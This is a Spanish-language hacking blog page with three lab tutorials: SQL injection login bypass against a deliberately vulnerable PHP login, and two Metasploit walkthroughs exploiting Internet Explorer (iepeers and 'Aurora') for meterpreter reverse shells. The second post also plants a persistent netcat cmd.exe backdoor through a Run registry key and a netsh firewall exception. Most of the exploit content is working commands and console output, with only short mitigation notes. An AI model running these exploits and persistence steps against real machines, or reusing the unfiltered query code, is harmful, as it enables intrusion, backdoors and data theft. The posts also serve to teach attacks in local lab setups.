Mostrando entradas con la etiqueta laboratorio. Mostrar todas las entradas
Mostrando entradas con la etiqueta laboratorio. Mostrar todas las entradas

domingo, 18 de abril de 2010

SQL injection Parte I


Sin lugar a dudas esta tecnica es una de las mas peligrosas que hay en una aplicacion, ya sea WEB o de Escritorio, por la potencia que tiene y la capacidad de poder ingresar a un sistema de una forma eficaz. Por practica puedo decir que es vulnerabilidad que mas me gusta testear, ya que tiene muchas posibilidades de ataque. Decidi crear post sobre este tema dividas en partes, esta sera la primer entrega :).
Vamos a ver desde el pricipio y para que lo practiquen en forma local, asi que nesesitaremos un paquete llamado LAMPP para trabajar en entornos Linux ( tambien lo pueden hacer desde W$ ), que nos trae empaquetado APACHE, PHP, MYSQL y FTP.


¿Que es SQL Injection?
Es la Tecnica que permite introducir comandos SQL arbitrarios en una consulta que esta establecida en la aplicacion, la cual las variables que piden al usuario no pasan por algun filtro, pudiendo este introducir comandos SQL que luego seran interpretados por el DBMS.
Dependiendo el motor se inyecta de una forma u otra, este tutorial va a estar basado en MySQL con PHP.


Requisitos:
  1. Descargar Lammpp Ultima Version
  2. Conocimientos en PHP y MySQL
  3. Conocimientos de phpMyAdmin

Comenzando

1)Instalando lampp

Como dije anteriormente,
el tutorial enseñara hasta como instalar el lampp, de forma básica podría encontrar mas datos sobre el, en su pagina principal.
Cuando tengamos el archivo de lampp que en este caso seria este xampp-linux-1.7.3a.tar.gz, para instalarlo tiene una forma super fácil, nos logueamos como r00t y colocamos en la consola

#tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt

Esto creara una carpeta llamada lampp, en el directorio /opt. Por lo tanto todos los archivos, binarios, conflagraciones, bases de datos, etc estarán en el /opt/lampp.
Podemos ir posicionandonos en ella e ir familiarizandonos,

#cd /opt/lampp; ls -la

La conflagración del Lampp por ahora la vamos a dejar como default, para poder hacer inyecciones copadas sobre MySQL. Lo que si vamos a cambiar es el DocumentRoot
de apache, que es la raíz lógica de donde apache empieza a leer los documentos, para ellos tenemos que editar el archivo httpd.conf de Apache


#cd /opt/lampp/etc
Realizamos un backups antes de realizar cambios en archivos de configuraciones de cualquier tipo.
#cp httpd.conf httpd.conf.backup
#nano httpd.conf

Yo uso nano uds podrian usar VI o el que quisieran, buscamos la linea donde dice

DocumentRoot "/opt/lampp/htdocs"

Y cambiamos a una carpeta en nuestro home, osea en mi caso

DocumentRoot "/home/magnobalt/www"

Una vez hecho esto guardamos, abrimos otra shell, como usuario comun y creamos la carpeta www en nuestro home

$mkdir /home/magnobalt/www

Listo con esto tenemos configurado para que apache venga a leer a esta carpeta y busque los archivos para ejecutar en el servidor. Aquí es donde vamos a colocar nuestro archivos html, js, php, css, etc.
Para alzar los servicios de lampp hacemos lo siguiente como r00t.

#/opt/lampp/lampp start
Starting XAMPP for Linux 1.7.2...
XAMPP: Starting Apache with SSL (and PHP5)...
XAMPP: Starting MySQL...
XAMPP: Starting FTP ..
XAMPP for Linux started.

Con esa informacion significa que todos los servicios estan corriendo sin problemas, en caso de que haya problema les avisara con una leyenda, pero si no tocaron nada todo correra perfectamente.
Para poder empezar podemos ir a nuestro navegador y escribir http://localhost o http://127.0.0.1, lo cual es la ip de loopback, osea que ingresamos a nuestra propia maquina,
como nos tenemos ningun archivo index,html, index.php etc, todavia en nuestro DocumentRoot en mi caso /home/magnobalt/www, seguramente mostrara seguramente un error 403 Fordiben.
Para poder ingresar al PhpMyAdmin colocamos en el browser http://localhost/phpmyadmin, se daran cuenta que entra directamente, eso es por que al instalar lampp, la contraseña del usuario root en mysql esta en blanco, Obivamente esto no deberia quedar asi, se tendria que colocar una, pero aqui obviaremos.



Primer SQL Injection:

Lo que primero vamos a realizar es un bypass a un login, esta inyeccion es la mas facil de entender, ¿Bypass WTF!!?. El termino Bypass significa saltarse algun tipo
de seguridad, por ejemplo, si un programador me coloca en una funcion que una variable no acepte numeros enteros, y yo de alguna forma logro que la aplicacion
tome numeros enteros, estoy bypaseando (saltando) la seguridad del programador. :)

Lo que haremos es crear un Panel de Administrador, donde pedira usuario y contraseña, pero antes que nada para esto nesesitamos crear una Base de Datos, y una tabla
llamada Usuarios. Para ellos usaremos el PhpMyadmin.




En la imagen se puede observar como estamos creando una tabla llamada usuarios con los compos, id, usuario, password, nombre y correo. EL campo id es nuestra clave y es incremental.


En SQL seria de esta forma:

    CREATE TABLE `hacking`.`usuarios` (
`id` INT( 2 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`usuario` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 20 ) NOT NULL ,
`nombre` VARCHAR( 35 ) NOT NULL ,
`correo` VARCHAR( 50 ) NOT NULL
) ENGINE = MYISAM ;


Ahora que tenemos la tabla, vamos a crear los archivos php, como el panel siempre esta en una carpeta
llamada, admin, administrador, administrator etc. Vamos a crear una carpeta llamada admin en nuestro DocumentRoot que va hacer donde vamos a guardar los archivos del Login, lo cual quedaria /home/magnobalt/www/admin

Los archivos que vamos a nesesitar van hacer index.php, login.php y estilo.css


index.php




<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<title>Hacking Nea</title>

<link rel="STYLESHEET" type="text/css" href="../estilo.css">



<body>

<div id="contenedor">

<div id="encabezado">





</div>

<!--fin de encabezado-->



<div id="menu">





</div>



<div id="areatexto">



<div id="cuadrodialogo">

<h1><b>Sistema de Logueo ZamBonet</b></h1>

<form action="login.php" method="post">



<br>Nombre:

<br>

<input type="text" name="nombre" maxlength="8">

<br>

<br>

Contrasena:

<br>

<input type="password" name="pass" maxlength="80">

<br>

<input type="submit" value="Enviar">



</form>



</div>





</div>

<!--fin areatexto-->











<div id="pie">

<!--fin pie-->

</div>

<!--fin contenedor-->





</body>

</html>


Este archivo es el formulario que pedira al usuario que ingrese el usuario y el password, el cual los datos ingresados son procesados por un archivo llamado login.php.

login.php

<?php

$hostname = "localhost";

$database = "hacking";

$username = "root";

$password = "";

$conexion = mysql_connect($hostname, $username, $password) or die ('Error conexion'.mysql_error());



$usuario=$_POST['nombre'];

$password=$_POST['pass'];



mysql_select_db($database,$conexion);

$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";

echo "Esta es la Consulta: ".$sql;

echo "<br>";echo "<br>";



$login=mysql_query($sql,$conexion) or die ('Error en la consulta'. mysql_error());



$row=mysql_fetch_array($login);

if(isset($row) && !empty($row)){ //verifico que la variable $row tenga informacion

echo "<br>";

echo "<h1><b>ACCESO PERMITIDO<b></h1>";

echo "<br>";

echo "Estos son tus datos";

echo "<br>";echo "<br>";

echo "Usuario: ".$row['usuario'];

echo "<br>";

echo "Password: ".$row['password'];

echo "<br>";

echo "Email: ".$row['correo'];

}

else

{

echo "<h1><b>ERRORRRRRR PAYASO <b></h1>";

}



?>




Las primeras lineas es la conexion de la base de datos, la base de datos que contiene la tabla Usuarios, que creamos anteriormente esta en una llamada Hacking, uds quizas la llamaron de otra forma, el usuario que esta realizando las consultas es r00t (super usuario de MySQL) , lo cual es un grave error esto nunca deberia suceder se tendria que crear un usuario con privilegios que la aplicacion nesesitara, r00t corre con todos los privilegios y solo se tendria que utilizar para tareas administrativas. En la practica es raro encontrar este caso pero se encunetran, mas en los lugares donde tienen un servidor dedicado para ellos, y lo montan sin conocimientos y dejan a los servicios por default.
Nosotros vamos a correr nuestra web con r00t para que se vea lo peligroso que es y la potencia de SQL injection con estos privilegios.
Tambien se nesesita un arhicovo .css llamado estilo.css lo puden copiar desde aca, y lo guardan en la carpeta www en mi caso /home/magnobalt/www, este archivo es la maquetacion del sitio
.

Ahh me olvidaba antes de empezar con el siguiente paso que es la practica, carguen algun registro en la tabla usuario, yo coloque como usuario admin y contraseña 123456, y otro magno y contraseña qwerty carguen lo que se le ocurra.


Por fin Accion
Si todo va correctamente uds al dirigirse a http://localhost/admin, le mostrara esta pantalla.



Es el formulario donde pide el usuario y contraseña para ingresar a un area restringida, si el usuario es ingresado incorrectamente mostrara esta pantalla.




saldra la leyenda de "ERORRRRRR PAYASO" y mas arriba que esta lo interesante, es la consulta que es pasada al DBMS que en este caso es el MySQL, con esta leyenda vamos a ir observando lo que va pasando al inyectar codigo.

Si el usuario es correcto saldra esta pantalla





Como veran la sentencia SQL se sigue mostrando arriba, lo unico que hace es que si tenemos acceso sale la Leyenda "ACCESO PERMITIDO" y nos muestra los datos del Usuario.

¿Donde esta el Bug?

El error de en el codigo se encuentra en que no se filtra las variables pasadas por el formulario y se pasan automaticamente a la consulta SQL.

$usuario=$_POST['nombre'];
$password=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";

Estas son las lineas del problema, como veran lo que nos pasa por el formulario, el usuario y password
lo llevamos a la variable $usuario y $password, luego automaticamente sin colocar alguna seguridad
lo volcamos a la consulta SQL
Si yo colocaria como nombre admin y password 123456, la consulta arrojara un TRUE y traeria datos de
la base de datos ya que para el usuario admin el password es 123456. Se veria asi


SELECT * FROM usuarios WHERE usuario='admin' AND password='123456'

Los string en MySQL son delimitados por ' (comilla simple), osea que todo lo que esta encerrados entre dos ' MySQL lo toma como string. Para poder inyectar en este caso, nosotros tendriamos que escaparnos de la comilla, simple y luego ahi colocar sentencias SQL. Para entender mejor veamos el ejemplo.
Que pasaria si en vez de colocar un nombre por ejemplo magno yo pondria una comilla simple, la consulta quedaria de este modo ( Esto se puede ir probando en su labs y cada vez que ingresen se mostrara la sentencia SQL que se esta mandando al MySQL )


SELECT * FROM usuarios WHERE usuario=''' AND password=''


Se puede ver que en el campo usuario, hay 3 comillas, las dos de afueras son las que el programador coloco para delimitar lo que ingresa el usuario como string, y la del medio es nuestra comilla simple que acabamos de enviar, lo cual arroja el siguiente error

Error en la consultaYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1


MySQL se esta quejando diciendo que hay un error de sintaxis mas precisamente hay una comilla simple sin cerrar. Esto significa que esa comilla simple esta siendo interpretada como codigo SQL para el DBMS, ahi esta lo interesante.

Ataque 1
Podemos lograr sin saber el password ni el usuario de alguien ingresar como el primer registro de nuestra tabla Usuarios. ¿Como? coloquemos como usuario, 'or 1=1-- , (Coloquen un espacio despues del --)
la consul
ta quedara de este modo

SELECT * FROM usuarios WHERE usuario=''or 1=1-- ' AND password=''

sin saber ni el usuario ni la contraseña entramos como admin.. ;)




Estudiemos un poco lo que hicimos, al ingresar 'or 1=1-- . La comilla ingresada por nosotros cumple la funcion de cerrar la primer comilla del programador es decir quedaria asi '', con eso ya podemos colocar sentencias SQL ya que no estamos dentro de la comillas simples, entonces viene esto or 1=1, la sentencia or significa que si algo es verdadero entonces todo es verdadero, y como 1=1 es verdadero entonces toda nuestra consulta sera verdadera por mas que no hallamos dicho el usuario es igual a '' (osea nada). Or se comporta de esta forma

1- V or V = Verdadero
2- V or F = Verdadero
3- F or V = Verdadero *
4- F or F = Falso

En nuestro caso se comportaria como la linea numero 3, osea Falso or Verdadero. Luego viene lo que es
-- ' AND password=''
, -- en sql es comentario por lo que entonces todo lo que viene despues de ahi se lo toma como comentario, esto nos permite decirle al DBMS que lo que sigue, osea
' AND password='', lo tome como un comentario. Matamos la ' simple que sobraba puesto por el programador y la parte donde pide que el password se = a lo que ingresa el usuario :)


Ataque 2

En el ataque anterior podiamos ingresar sin saber el usuario ni el password, pero caemos solamente en el primer registro de la tabla en cuestion (Usuarios).
Podemos dirigirnos a un registro conociendo el usuario y sin saber la contraeña, para ello casi siempre los administrador colocan
admin, administrador etc, como nombres de usuarios, yo en mi tabla tengo un usuario admin. Entonces inyectamos y entramos como el usuario sin saber su contraseña. En usuario colocamos admin'-- , quedando la consulta SQL

SELECT * FROM usuarios WHERE usuario='admin'-- ' AND password=''

ingresamos como admin sin saber el password :)




y como magno :)



estudiemos un poco lo que hicimos, ingresamos admin'-- la palabra admin es tomada como string ya que va a estar delimitada por la primer comilla del programador mas la comilla que ingresamos siguiendo a ella admin'. Quedando de este modo 'admin', luego el -- realiza la misma funcion que anteriormente dejando en comentario la comilla que sobra mas la sentencia donde pide el password.



La solucion

Cuando empazamos este ejemplo dijimos que la forma de poder inyectar era poder escapar de la limitaciones de la comilla simple, osea que si nosotros podemos llegar a lograr que si el usuario cuando coloque una comilla simple lo trasforme a otra cosa, el usuario ingrese lo que ingrese siempre quedara dentro de las comillas simples que el programador coloco.
Para ello tenemos formas de filtrar comillas, tenemos del lado del servidor y del lado de la aplicacion


Lado del Servidor

Una funcion muy popular es la Magic_quotes, que se encuentra en el archivo php.ini (en nuestro caso con lampp esta en /opt/lampp/etc ). Lo que realiza esta funcion es colocar automaticamente slashes, a las variables que se pasan por $_POST y $_GET. Para que sirve esto es practicamente para poder impedir las SQL injection aunque desde las versiones de PHP 5.3.0, vienen desactivadas mas info.
Para poder activar esta funcionalidad tendremos que editar el archivo php.ini, para ello nos dirigimos a la carpeta de configuracion de lampp


#cd /opt/lampp/etc
#cp php.ini php.ini.backups
#nano php.ini

y buscamos esta linea

magic_quotes_gpc = Off

Y lo ponemos en On

magic_quotes_gpc = On

Luego reiniciamos apache para que tome los cambios

#/opt/lampp/lampp restart

Ahora si quisieramos inyectar las comillas simples ' nos trasformara a esto \',
Osea que si yo ingreso nuevamente para bypasear dicho login la consulta se vera asi.

SELECT * FROM usuarios WHERE usuario='\'or 1=1-- ' AND password=''

Por lo que siempre vamos a quedarnos encerrados entres las comillas simples del programador, por lo cual ingresemos lo que ingresemos siempre nuestro datos seran tomados como un string comun :).


Lado de la Aplicación

Del lado de la aplicacion tambien existen funciones que nos permiten agregar slashes, y recomiendan usar esta funcion antes que las magic_quotes.
Addslashes, es una funcion de php que nos permite actuar de forma similar a las magic_quotes, escapando
',",\ y NULL.
Para que nuestro codigo sea capas de poder filtrar esas comillas agregaremos esta funcion a la variable que llegan desde el usuario y son pasadas para el DBMS. El codigo seguro quedaria de este modo



$usuario=$_POST['nombre'];
$password=$_POST['pass'];
$usuario= addslashes($usuario);
$password= addslashes($password);
$sql="SELECT * FROM usuarios WHERE usuario='$usuario' AND password='$password'";

Con esto logramos filtrar las comillas logrando la misma funcionalidad de magic_quotes. Recomiendo leer sobre la funcion mysql_ real_ escape_ string.
Aqui no esta pero el password se deberia guardar en Base de Datos en forma encriptada usando alguna funcion de hash como ser MD5, SHA1 etc, o algun otro algoritmo. Tambien se puede crear una funcion que al password pase 6 o N veces por la funcion HASH asi que si alguien puede verlo no pueda ser roto de forma facil con fuerza bruta o diccionario.
Por ejemplo el md5 para 123456 es e10adc3949ba59abbe56e057f20f883e, si alguien puede obetener este hash, podria pasarlo por algun diccionario que existen en la web. Una buena tools para esto es la que codeo Daniel ver aqui. Ese hash podemos ver que es facil de romper con diccionario.




El mismo password del usuario 123456, pasado 6 veces por la funcion md5 seria 74e59720dd08b1db45f7152d082c5051 , y pasada por el bruteador




Observamos dos cosas, que hay una baja taza de deteccion, y que el diccionario alimamed.pp.ru, nos mato nuestra seguridad jaja xD...







Proximas Entregas

La proxima entrega se realizara los ataques a las variables de tipo $_GET, y veran que si el dato es un entero no se nesesita la comilla simple, dependiendo de la programacion!. Se vera como detectar que la aplicacion es vulnerable y como explotar con la clausula UNION y luego como solucionar.
Y la ultima entrega se veran las SQL injection mas avanzadas que son las que permiten comprometer al HOST.
Tambien podria hacer una cuarta entrega para hablar sobre BLIND SQL, y un DOS a travez de SQL injection.

lunes, 22 de marzo de 2010

Laboratorio - Metasploit - Backdor Persistente + Exploit ie_iepeers_pointer

El 10 de marzo me llego un mail de Uno al Dia, informando el nuevo 0-day de Internet Explorer, que ataca a las versiones 6 y 7, las versiones 5 y 8 no son afectadas.
Como contramedida seria los que usan IE migrar totalmente hacia la version 8. Estadisticamente de 100 personas aprox. 20 estarian usando las versiones 6 y 7 de de IE, les dejo una imagen



El exploit es un BOF que ataca a la libreria ie_iepeers pudiendo ejecutar codigo arbitrario con privilegios del usuario que esta ejecutando el navegador.
Para poder usarlo desde el metasploit antes realizen un update al freamwork.

#msfupdate

Comenzando

Este post va en dos partes primero el ataque con el exploit ie_iepeers, y luego subir un netcat y dejarlo como backdor persistente en la victima.

Herramientas
Como laboratorio tengo un Debian 5.0 como sistema anfitrion, Windows XP SP 3 - Internet Explorer 6.0 corriendo como sistema huesped, VirtualBOX 3.1.4 r57640, Metasploit Framework Version: 3.3.4-de

Primer Parte
Bueno la carga de los datos es exactamente igual que la forma donde mostre en el post anterior de Metasploit LINK, mostrare todo junto desde la eleccion del exploit, seteo de variables hasta lanzar el exploit.




Magno:/home/magno# msfconsole

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|





=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8878 updated today (2010.03.22)

msf > use exploit/windows/browser/ie_iepeers_pointer
msf exploit(ie_iepeers_pointer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_iepeers_pointer) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set URIPATH /
URIPATH => /
msf exploit(ie_iepeers_pointer) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.56.1 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.56.1 yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0


msf exploit(ie_iepeers_pointer) > exploit
[*] Exploit running as background job.
msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
Vemos que el atacante tiene como ip 192.168.56.1, ahora quedaria que la victime ingrese a la direccion http://192.168.56.1:8080, el cual es la pagina maliciosa hecha por el metasploit, donde si cumple los requisitos de dicho exploit se ejecutara el payload en la maquina victima.

Entonces ingresamos





En la consola del metasploit podemos ver como se ejecuto y tenemos una sesion de meterpreter.



msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] Sending Internet Explorer iepeers.dll Use After Free to 192.168.56.101:1034...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1035)
[*] Session ID 1 (192.168.56.1:4444 -> 192.168.56.101:1035) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1364)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 188
[*] New server process: notepad.exe (188)

msf exploit(ie_iepeers_pointer) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter VICTIMA-55919B2\victima 2 @ VICTIMA-55919B2 192.168.56.1:4444 -> 192.168.56.101:1035

msf exploit(ie_iepeers_pointer) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: VICTIMA-55919B2
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: es_ES
meterpreter >




Segunda Parte

Una vez obtenido una sesion lo que vamos hacer es interactuar con la victima con el meterpreter. El proceso de este backdor es muy simple consisten en subir el netcat dejando en escucha un puerto con una cmd.exe , y colocando una exepcion en el firewall ya que la conexion sera de tipo bind.

Subimos el netcat
Para ello tenemos que tener el netcat para windows, yo lo tengo en la carpeta de mi /home/ y lo subiremos en la carpeta de system32, la sentecia quedaria asi.





meterpreter > upload /home/magno/nc.exe c:\\windows\\system32
[*] uploading : /home/magno/nc.exe -> c:\windows\system32
[*] uploaded : /home/magno/nc.exe -> c:\windows\system32\nc.exe


Luego agregaremos una clave en el registro de windows para que arranque netcat escuchando el puerto 1234 con el cmd.exe, de forma daemon -d.



meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
-v realtek -d 'C:\Windows\System32\nc.exe -L -d -e cmd.exe -p 1234'

Successful set Hacked.


Ahora nos quedaria agregar una exepcion en el firewall de windows, de la victima, para ello pedismos una shell en el metrpreter y ejecutamos los comandos como se muestran.



meterpreter > execute -f cmd.exe -i -H
Process 560 created.
Channel 3 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victima 2\Escritorio>netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
Aceptar


C:\Documents and Settings\victima 2\Escritorio>netsh firewall show portopening
netsh firewall show portopening

Configuraci�n de puerto para el perfil Est�ndar:
Puerto Protocolo Modo Nombre
-------------------------------------------------------------------
1234 TCP Habilitar c:\windows\system32\nc.exe
1234 UDP Habilitar c:\windows\system32\nc.exe


C:\Documents and Settings\victima 2\Escritorio>^C
Terminate channel 3? [y/N] y
meterpreter > reboot
Rebooting...


El comando netsh nos permite setear configuraciones del firewall de windows, lo que hacemos es agregar una exepcion para el programa netcat, en el puerto 1234, para UDP y TCP, y como muestra despues podemos ver que estan colocadas las expeciones con el comando netsh firewall show portopening
Apretamos Crtl + c, no da el meterpreter y reiniciamos la computadora de la victima.
Ahora Fijense como la victima esta escuchando el puerto 1234




Solamente nos queda verificar e ingresar con el netcat a la victima de esta forma.







Eso es todo, Saludos


martes, 9 de febrero de 2010

Laboratorio -- Metasploit - Exploit ie_aurora


Bueno creo que todos deben conocer del 0 day que tanto se hablo en estos ultimos tiempos sobre IE, lo que lograba un BOF pudiendo inyectar codigo arbitrario obteniendo una shell, aunque no todos son vulnerables hay una tablita que muestra que tan bien estan parados algunas versiones de windows conjuntamente con la version de IE, mas ahora sabiendo que los antivirus lo detectan..



El laboratorio se compone por una Virtual Machin ( VirtualBox, en el proximo post voy a explicar como intalarlo con yapa de Hacking! ) que tiene intalado un Windows XP SP3 con internet explorer Version 6.0, el cual es totalmente vulnerable. Por suerte es muy raro encontrar clientes navegando con esa version, pero .... :). Je..



Comenzando

Primero entonces nesesitamos el metasploit, lo podemos descargar desde aqui, busquen su arquitectura para linux hay de 32 bit y 64 bit (Yo me descargue este framework-3.3.3-linux-x86_64.run), tambien esta para windows pero el ultimo que baje no tenia el exploit aurora, pero se le puede agregar descargando el archivo con estension rb y colocarlo en la carpeta de exploit/windows/browser que seria lo ideal. Aqui el exploit.
Una vez intalado el metasploit, y que todo haya salido bien ( En linux nesesitamos intalar ruby ), nos dirigimos a la consola de metasploit.

/home/usuario# msfconsole



                                  _       _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|


=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8438 updated yesterday (2010.02.09)

msf >


Una vez dentro de la consola de Metasploit, tenemos que elegir el exploit a utilizar


msf > use windows/browser/ie_aurora
msf exploit(ie_aurora) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to
listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)


Exploit target:

Id Name
-- ----
0 Automatic


Una vez cargado el exploit con el comando use, podemos ver los argumentos que nesesita el exploit para poder funcionar con el comando show options.
Usaremos un PAYLOAD de reverse shell, para ello colocamos lo que sigue.

 msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Bien empezamos a llenar los argumentos tanto del Payload como del EXPLOIT



msf exploit(ie_aurora) > set LHOST 190.18x.xxx.xxx
LHOST => 190.18x.xx.xxx
msf exploit(ie_aurora) > set URIPATH /
URIPATH => /
msf exploit(ie_aurora) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 190.18x.xx.xxx yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Automatic


En la pantalla se ve como se setearon los valores cargados LHOST vendria a ser la ip del atacante. Largamos el exploit


msf exploit(ie_aurora) > exploit
[*] Exploit running as background job.
msf exploit(ie_aurora) >
[*] Started reverse handler on 190.18x.xx.xxx:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://190.18x.xx.xxx:8080/
[*] Server started.


El servidor lo tengo corriendo en la IP del argumento LHOST en el puerto 8080 y tendremos una reverse shell por el puerto 4444 :).
Ahora mandamos el enlace a la victima, y esperamos que ingrese.


Veamos nuestra consola de metasploit :)



[*] Sending Microsoft Internet Explorer "Aurora" Memory Corruption to client 190.18x.xx.xxx
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (190.18x.xx.xxx:4444 -> 190.18x.xx.xxx:51513)
sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 190.18x.xx.xxx:4444 -> 190.18x.xx.xxx:51513

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: VICTIMA
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: es_ES




Vemos que tenemos la session con la victima, que tiene un Windows XP SP3.
Ahora vamos a la shell remota que es lo mejor :)


meterpreter > shell
Process 812 created.
Channel 1 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Victima 10\Escritorio>hostname
hostname
victima

C:\Documents and Settings\Victima 10\Escritorio>


Solucion

Navegar con un antivirus para este exploit seria lo mejor el NOD32 lo detecta y no deja inyectar, tambien no usar un IE explorer anticuado asi como el 6.x que fue hecho en esta POC. Mientras pasen cosas parecidas dejar de utilizar el software defectuoso hasta que la Empresa propietaria del mismo largue el parche, para cada programa siempre hay otro que realiza la misma accion, pudiendo elegirlo a ese temporarlmente.



Referencias:
http://blog.metasploit.com/2010/01/reproducing-aurora-ie-exploit.html

http://foro.elhacker.net/hacking_avanzado/metasploit_0day_ie_exploit_ieaurora-t281678.0.html

Saludos